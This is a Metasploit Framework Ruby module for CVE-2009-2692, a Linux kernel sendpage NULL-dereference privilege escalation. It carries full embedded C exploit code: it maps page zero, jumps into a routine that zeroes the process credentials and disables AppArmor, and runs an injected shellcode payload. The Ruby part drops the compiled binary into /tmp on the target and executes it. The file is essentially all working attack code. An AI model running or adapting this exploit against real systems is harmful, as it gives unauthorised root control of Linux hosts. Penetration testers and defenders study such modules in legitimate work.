## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' #load 'lib/msf/core/post/file.rb' #load 'lib/msf/core/exploit/local/unix.rb' #load 'lib/msf/core/exploit/local/linux.rb' #load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation', 'Description' => %q{ The Linux kernel failed to properly initialize some entries the proto_ops struct for several protocols, leading to NULL being derefenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel. Several public exploits exist for this vulnerability, including spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c. All Linux 2.4/2.6 versions since May 2001 are believed to be affected: 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4 }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # discovery 'Julien Tinnes <julien at cr0.org>', # discovery 'spender', # wunderbar_emporium.tgz 'rcvalle', # sock_sendpage.c 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2009-2692' ], [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ], [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ], ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], #[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => "Aug 13 2009", } )) end def exploit sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main ;push eax call exit | # Set up the same include order as the bionic build system. # See external/source/meterpreter/source/bionic/libc/Jamfile cparser.lexer.include_search_path = [ "external/source/meterpreter/source/bionic/libc/include/", "external/source/meterpreter/source/bionic/libc/private/", "external/source/meterpreter/source/bionic/libc/bionic/", "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", "external/source/meterpreter/source/bionic/libc/kernel/common/", "external/source/meterpreter/source/bionic/libc/arch-x86/include/", ] cparser.parse(%Q| #define DEBUGGING // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h #ifndef __extension__ #define __extension__ #endif // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h // Doing #if on an undefined macro is fine in GCC, but a parse error in // metasm. #ifndef __STDC__ #define __STDC__ 0 #endif #include <sys/types.h> #include <sys/mman.h> #include <stdarg.h> #include <stdio.h> #include <unistd.h> #include <errno.h> /* OpenBSD's strcmp from string/strcmp.c in bionic */ int strcmp(const char *s1, const char *s2) { while (*s1 == *s2++) if (*s1++ == 0) return (0); return (*(unsigned char *)s1 - *(unsigned char *)--s2); } |) [ "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", # This parses without any trouble, but actually calling perror() causes # immediate segfaults. #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", # For some ungodly reason, NULL ends up being undefined when parsing this # guy, which of course causes parse errors. #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", ].each do |fname| print_status("Parsing c file #{fname}") cparser.parse(File.read(fname), fname) end print_status("Unix socket.h") unix_socket_h(sc) current_task_struct_h(sc) case target.arch.first when ARCH_X86 print_status("syscall wrappers") linux_x86_syscall_wrappers(sc) main = %q^ #ifdef __x86_64__ #define PTR_FMT "0x%016x" #else #define PTR_FMT "0x%08x" #endif #define NULL ((void*)0) #define DOMAINS_STOP -1 const int domains[] = { PF_BLUETOOTH, PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25, PF_AX25, PF_BLUETOOTH, PF_PPPOX, DOMAINS_STOP }; int *apparmor_enabled; int got_ring0 = 0; unsigned long uid, gid; static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { printf("Unable to obtain symbol listing!\n"); return 0; } } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf(" [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } static void change_cred(void) { unsigned int *task_struct; task_struct = (unsigned int *)current_task_struct(); while (task_struct) { if (task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid && task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid) { task_struct[0] = task_struct[1] = task_struct[2] = task_struct[3] = task_struct[4] = task_struct[5] = task_struct[6] = task_struct[7] = 0; break; } task_struct++; } return; } int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e) { got_ring0 = 1; if (apparmor_enabled && *apparmor_enabled) { *apparmor_enabled = 0; } change_cred(); return -1; } const char *shellcode = ""; int shellcode_size = 0; int main() { int i = 0; int d; int in_fd, out_fd; char *mapped; char template[] = "/tmp/sendfile.XXXXXX"; int (*func)(); uid = getuid(), gid = getgid(); mapped = mmap(NULL , 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); if (mapped == NULL) { printf("Mapped zero page!\n"); } else { exit(1); } // jmp dword near [dword 0x8] mapped[0] = '\xff'; mapped[1] = '\x25'; *(unsigned long *)&mapped[2] = 8; *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; for (i = 0; i < 16; i++) { printf("\\\\x%02x", (unsigned char)mapped[i]); } printf("\n"); for (d = 0; domains[d] != DOMAINS_STOP; d++) { //printf("Next domain ... "); out_fd = socket(domains[d], SOCK_DGRAM, 0); if (out_fd > 0) { printf("Got domain[%d]\n", d); break; } if (out_fd < 0) { printf("out_fd: %d, Errno: %d\n", out_fd, errno); exit(1); } } unlink(template); // Couldn't get mkstemp to work, just use open(2) for now in_fd = open(template, O_CREAT | O_RDWR, 0777); printf("Opened temp file: %d\n", in_fd); unlink(template); printf("Calling ftruncate\n"); ftruncate(in_fd, 4096); printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096); printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); printf("UID: %d GID: %d\n", getuid(), getgid()); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); // weaksauce memcpy so we don't have to #include <string.h> printf("Copying %d bytes of shellcode\n", shellcode_size); for (i = 0; i < shellcode_size; i++) { (char)func[i] = (char)shellcode[i]; } printf("Calling shellcode: 0x%p\n", func); //sigtrap(); func(); return got_ring0; } ^ main.gsub!(/shellcode =/) do # split the payload into 16-byte chunks and dump it out as a # hex-escaped C string %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| end main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") cparser.parse(main, "main.c") asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm end sc.assemble begin if sc.kind_of? Metasm::ELF elf = sc.encode_string else foo = sc.encode_string elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) end rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end #puts Rex::Text.to_hex_dump(foo) File.open("payload.bin", "wb") {|fd| fd.write elf } print_status "Writing exploit executable (#{elf.length} bytes)" cmd_exec("rm /tmp/sendpage") write_file("/tmp/sendpage", elf) output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") output.each_line { |line| print_debug line.chomp } #cmd_exec("rm /tmp/sendpage") end end